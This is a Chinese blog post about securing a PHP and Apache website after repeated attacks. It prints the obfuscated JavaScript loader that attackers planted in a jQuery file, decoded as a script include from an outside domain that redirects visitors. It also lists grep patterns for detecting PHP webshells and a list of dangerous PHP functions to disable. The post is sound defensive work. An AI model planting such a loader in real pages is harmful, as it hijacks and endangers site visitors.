WEB 安全实战

这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。常见的 WEB 攻击包括 XSS 攻击、SQL 注入、DDOS、CRFS 等,为了提高网站安全性能,最近特意对网站做了安全维护,属予作文以记之。

攻击记录

  • 有一次黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,

    1
    2
    3
    4
    var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv-  fnnfkd`crk-bnl.robncd.iptdqx-
    ir[!=;.rbqhos=!(:";
    var length=str.length;var ba64="";for(i=0;i<length;i++){var
    s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);

    翻译后是

    1
    document.write ("\<script src="http://www.googleadsl.com/spcode/jquery.js"></script>")

    导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。

  • 还有一次是文件内容被篡改。被攻击那天早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。

  • 在有一次就是黑客上传文件到特定目录下

木马查杀

  • 快速木马查找命令

    1
    2
    3
    grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html/
    grep -r --include=*.php '[^a-z]eval($_' /var/www
    grep -r --include=*.php 'file_put_contents(.*$_POST\[.*\]);' /var/www/html/
  • 利用find mtime查找最近两天或者发现木马的这几天,有哪些PHP文件被修改

    1
    find -mtime -2 -type f -name \*.php

PHP 安全防范

  • 确保运行 PHP 的用户为一般用户,如 www

  • 禁用 PHP 危险函数

    1
    2
    3
    4
    5
    6
    7
    8
    disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
    ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,phpinfo #禁用的函数
    expose_php = off #避信免暴露PHP息
    display_errors = off
    enable_dl = off
    allow_url_include = off
    session.cookie_httponly = 1
    upload_tmp_dir = /tmp
  • 改变 PHP 文件的权限:644

    1
    2
    3
    chmod 644 -R ./
    find ./ -type d -print|xargs chmod 755;
    chown -R apache:apache ./
  • 关闭上传目录的 PHP 执行权限

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <Directory "/home/www/upload/">
    php_flag engine off # 关闭 PHP 执行引擎
    <filesmatch "(.*)php"> # 匹配以 PHP 结尾的文件,设置权限
    Order deny,allow
    Deny from all # 全部不解析
    Allow from localhost # 允许例外:
    Allow from 127.0.0.1 # 允许的例外
    </filesmatch>
    </Directory>

Apache 安全

  • 更改 Apache 的用户为一般用户,如 apache,注意存放数据目录权限为 apache

    1
    2
    User apache
    Group apache
  • 禁用 -Indexes

    1
    Options -Indexes FollowSymLinks

    如果目录下没有 index.* 文件则 403 错误而不是列出目录下的文件。

  • 启用 mod_security 模块防止 SQL 注入
    安装:

    1
    yum install mod_security

    httpd.conf 中引入 mod_security.conf

  • 设置 HTTP 头信息防止 XSS 攻击

    1
    2
    3
    <IfModule mod_headers.c>
    Header set X-XSS-Protection "1; mode=block"
    </IfModule>
  • mod_evasive20 防止 DDOS 攻击

参考

本文标题:WEB 安全实战

文章作者:Pylon, Syncher

发布时间:2017年09月10日 - 23:09

最后更新:2023年03月11日 - 17:03

原始链接:https://0x400.com/experience/practice/linux-web-security/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。